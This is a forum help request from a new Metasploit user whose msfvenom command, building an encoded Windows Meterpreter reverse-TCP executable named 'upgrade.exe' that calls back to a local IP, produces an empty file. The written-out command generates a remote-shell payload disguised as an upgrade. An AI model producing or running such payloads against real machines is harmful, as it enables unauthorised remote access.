[Metasploit: Msfvenom Problem: Empty File]

Hey guys,

so I just started using metasploit, but i have the following problem: everytime I use msfvenom to generate a .exe file the following happens:

I type something like:

msfvenom -p windows/meterpreter/reversetcp -e x86/shikataganai -i 5 LHOST=<local IP> LPORT=1337 -f exe > upgrade.exe

the output is the following:

msf > msfvenom -p windows/meterpreter/reversetcp -e x86/shikata_ga_nai -i 5 LHOST=10.0.0.10 LPORT=1337 -f exe > upgrade.exe

* exec: msfvenom -p windows/meterpreter/reversetcp -e x86/shikata_ga_nai -i 5 LHOST=10.0.0.10 LPORT=1337 -f exe > upgrade.exe

The upgrade.exe file is empty.
Database is connected.
and I have no idea what to do.

..

Hopefully you can help me!

Greetings,
S.
